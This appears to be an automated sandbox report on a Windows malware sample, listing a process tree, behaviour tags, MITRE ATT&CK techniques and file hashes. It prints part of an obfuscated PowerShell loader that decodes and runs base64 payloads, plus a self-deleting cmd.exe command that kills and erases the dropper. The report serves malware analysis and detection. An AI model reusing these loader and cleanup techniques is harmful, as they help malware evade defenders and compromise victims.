}}$tMmhK=[string[]]$AdNpy.Split('\');$vypGp=nroxc (AsZVG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tMmhK[0])));$asijd=nroxc (AsZVG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tMmhK[1])));Dtllp $asijd (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));Dtllp $vypGp (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{c0b360b8-a2cb-4a57-a190-137e05dafe32}6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4516
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{28aee83c-e9e1-4138-9f04-c7b6086bb192}6⤵PID:5472
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe" & exit6⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:4100 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
- Suspicious use of SetWindowsHookEx
PID:2068
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C:\Windows\system32\PING.EXEPING localhost -n 87⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:5208
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3572
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3768
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3928
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4476
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:2908
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:1828
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4056
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4436
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4740
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1636
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4428
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:1584
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:956
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:1816
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:2936
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:1092
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
PID:5684
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:5624 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4332 -ip 43322⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- System Location Discovery: System Language Discovery
PID:4124
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 6980 -ip 69802⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- System Location Discovery: System Language Discovery
PID:5264
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 632 -p 6212 -ip 62122⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6924
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
Hide Artifacts
1Hidden Window
1Indicator Removal
1Clear Windows Event Logs
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
44KB
MD581b6a1aa910498f1b9f06a92554453c7
SHA14c9b88339aacc52b0cae5549f1044d23902aade2
SHA2561986f4095088dc6ec0d62478ad96282f034d33f0cb9966811ab676196710bba0
SHA512992bd45b12f7adb74a7760b91e045a3ab7fbdf6540c4e9b7a03547ed00e26242f75948f5ae4d6b195fc3fe46986b9e2274ea8981ce5f78694c7172da28413230
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Filesize
13KB
MD52ff2d0f22cfe74a4c03fa415fb61613d
SHA13dc75fdeed4c5d470dad4645431eb069448525a5
SHA2567b2a2a42d529f4b8f43b050853f4914b7c521ce94d33c19d5c4689afc51b985b
SHA5120e0b55e132ac3d75439a8e2cff48f78a0f9662d693a434b60f7edd276a8bb366a26d32ca55e1da95375095601ccff0bf4367167d0fa371dac20d9b2f22edcdfd
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Filesize
43KB
MD56be419f46a1070a4f7586d03536ec634
SHA16307315ec2cbf31e9f878c1d69ea91d78d81e4ac
SHA256ee93755e9409aa4914055e2247c00ebde6da8f73f12d6294a7b9c5afd5b265b9
SHA51248911ee88e830898db5bf9dbe970c945d9ff89d641fe77b7ba12d0ed28b77bd84e21c4ccbb3dacfe503a16642e8d7282a65b7f128736a8a1eb08eedd9ca9b039
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Filesize
13KB
MD5e6f4de895e2235f6f56667b098b38ace
SHA118aa5b7b8f62e7959c1f64db4683b55d47f6e00d
SHA2567fe01fe3002f96bb8259bf7102e7ff03c000b19dc43ba99fb4111dc130d4eab3
SHA5121baf657b291066d3198e4ecc361325aa17aaefb39f1dc00fc5903a0c686d59651cefcc8b5eb9160d9408795887f4e9dd8538f800ba3d567a832fcef658c40c84
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Filesize
13KB
MD5d5329c62382169aa20e0782e647bd479
SHA12baa25cee8611a3d0f5140e73f96fd223bf87228
SHA25608a20fb30fb89c6be1aa5262aec8e70dee8b69f32405c6afe0ac30aa2e900493
SHA5120829ab94269729392ac47c6b7350f54746932f2bb171430a1b56eac06e80d308443f802538671337e5edfa2efaf59c7997429abb4dcd2197512a23e4c0506732
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045